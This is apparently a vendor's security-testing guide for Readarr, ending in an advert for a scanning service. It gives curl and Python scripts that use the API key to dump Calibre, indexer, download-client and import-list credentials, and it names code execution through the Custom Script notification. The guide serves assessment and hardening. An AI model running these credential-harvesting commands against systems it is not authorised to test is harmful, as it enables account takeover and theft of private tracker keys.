Readarr Security Testing: API Key, Indexer Credentials, Ebook/Audiobook Automation, and Calibre Integration

Readarr is the ebook and audiobook automation application in the *arr stack, managing library downloads with the same underlying architecture as Sonarr, Radarr, and Lidarr. Its unique security element is the Calibre Content Server integration: Readarr stores the Calibre host URL, username, and password in its configuration for library management, making Calibre credentials accessible via the Readarr API. Combined with the standard *arr credential chain, Readarr's security profile includes: the API key in Settings > General exposing all configuration; GET /api/v1/indexer returning all private tracker API keys and passkeys; GET /api/v1/downloadclient returning download client credentials; GET /api/v1/rootfolder revealing the Calibre library path; Import Lists storing GoodReads and BookShelf credentials; and the notification Custom Script agent executing arbitrary commands on the host. This guide covers systematic Readarr security assessment.

Table of Contents

  1. API Key and System Configuration
  2. Calibre Integration Credential Extraction
  3. Indexer and Download Client Credentials
  4. Readarr Security Hardening

API Key and System Configuration

# Readarr API — same architecture as Sonarr/Radarr/Lidarr
READARR_URL="https://readarr.example.com"
API_KEY="your-readarr-api-key"

# Get system status
curl -s "${READARR_URL}/api/v1/system/status?apikey=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Version: {d.get(\"version\")}')
print(f'Branch: {d.get(\"branch\")}')
print(f'OS: {d.get(\"osName\")}')
" 2>/dev/null

# Get host config — authentication method and network binding
curl -s "${READARR_URL}/api/v1/config/host?apikey=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Auth method: {d.get(\"authenticationMethod\")}')
print(f'Auth required: {d.get(\"authenticationRequired\")}')
print(f'Port: {d.get(\"port\")}')
print(f'Bind address: {d.get(\"bindAddress\")}')
" 2>/dev/null

# List books and authors in library
curl -s "${READARR_URL}/api/v1/author?apikey=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Authors in library: {len(d)}')
for a in d[:10]:
    print(f'  {a.get(\"authorName\")} — {a.get(\"bookCount\",0)} books')
" 2>/dev/null

Calibre Integration Credential Extraction

# Readarr Calibre integration — stores Calibre Content Server credentials
READARR_URL="https://readarr.example.com"
API_KEY="your-readarr-api-key"

# Get root folders — reveals Calibre library path and integration details
curl -s "${READARR_URL}/api/v1/rootfolder?apikey=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for rf in d:
    print(f'Root folder: {rf.get(\"path\")}')
    print(f'  Free space: {rf.get(\"freeSpace\")} bytes')
    print(f'  Calibre host: {rf.get(\"calibreHost\")}')
    print(f'  Calibre port: {rf.get(\"calibrePort\")}')
    print(f'  Calibre URL base: {rf.get(\"calibreUrlBase\")}')
    print(f'  Calibre username: {rf.get(\"calibreUsername\")}')
    print(f'  Calibre password: {rf.get(\"calibrePassword\")}')
    print(f'  Calibre library: {rf.get(\"calibreLibrary\")}')
    print(f'  Calibre output: {rf.get(\"outputProfile\")}')
" 2>/dev/null

# Get import lists — may contain GoodReads/BookShelf API keys
curl -s "${READARR_URL}/api/v1/importlist?apikey=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
lists = json.load(sys.stdin)
print(f'Import lists: {len(lists)}')
for lst in lists:
    print(f'  [{lst.get(\"id\")}] {lst.get(\"name\")} [{lst.get(\"implementation\")}]')
    for field in lst.get('fields',[]):
        fname = field.get('name','')
        fval = field.get('value','')
        if fval and isinstance(fval, str) and any(s.lower() in fname.lower() for s in ['token','key','password','username']):
            print(f'    {fname}: {fval}')
" 2>/dev/null

Indexer and Download Client Credentials

# Readarr indexers and download clients — identical to Sonarr/Radarr/Lidarr
READARR_URL="https://readarr.example.com"
API_KEY="your-readarr-api-key"

# Extract indexer credentials
curl -s "${READARR_URL}/api/v1/indexer?apikey=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
indexers = json.load(sys.stdin)
print(f'Indexers: {len(indexers)}')
for idx in indexers:
    print(f'  {idx.get(\"name\")} [{idx.get(\"implementation\")}]')
    for field in idx.get('fields',[]):
        fname = field.get('name','')
        fval = field.get('value','')
        if fval and isinstance(fval, str):
            if any(s in fname.lower() for s in ['apikey','passkey','password','username','cookie']):
                print(f'    CREDENTIAL {fname}: {fval}')
" 2>/dev/null

# Extract download client credentials
curl -s "${READARR_URL}/api/v1/downloadclient?apikey=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
clients = json.load(sys.stdin)
print(f'Download clients: {len(clients)}')
for c in clients:
    print(f'  {c.get(\"name\")} [{c.get(\"implementation\")}]')
    for field in c.get('fields',[]):
        fname = field.get('name','')
        fval = field.get('value','')
        if fval and fname.lower() in ['host','port','username','password','apikey']:
            print(f'    {fname}: {fval}')
" 2>/dev/null

Readarr Security Hardening

Readarr Security Hardening Checklist:
Security TestMethodRisk
Calibre Content Server credential extractionGET /api/v1/rootfolder — returns calibreHost, calibrePort, calibreUsername, calibrePassword, and calibreLibrary for each configured root folder; Readarr-to-Calibre credential chain gives access to the Calibre library management interfaceHigh
Indexer credential extractionGET /api/v1/indexer — returns all configured indexer API keys and passkeys; same credential architecture as Sonarr, Radarr, and Lidarr with access to all private tracker credentialsHigh
Download client credential exposureGET /api/v1/downloadclient — returns host, port, username, and password for every configured download client; same exposure as other *arr applicationsHigh
Import list API key exposureGET /api/v1/importlist — returns credentials for GoodReads, BookShelf, LazyLibrarian, and other configured import sources including API keys and login credentialsMedium
Custom Script notification code executionGET /api/v1/notification then POST /api/v1/notification/test — triggers Custom Script agent, executing the configured command path on the Readarr host with service account privilegesCritical (requires API access)

Automate Readarr Security Testing

Ironimo tests Readarr deployments for Calibre Content Server credential extraction from the rootfolder API, indexer API key and passkey enumeration, download client credential harvesting, import list API key exposure (GoodReads, BookShelf), Custom Script notification code execution risk, authentication bypass when no credentials are configured, and readarr.db credential storage analysis.

Start free scan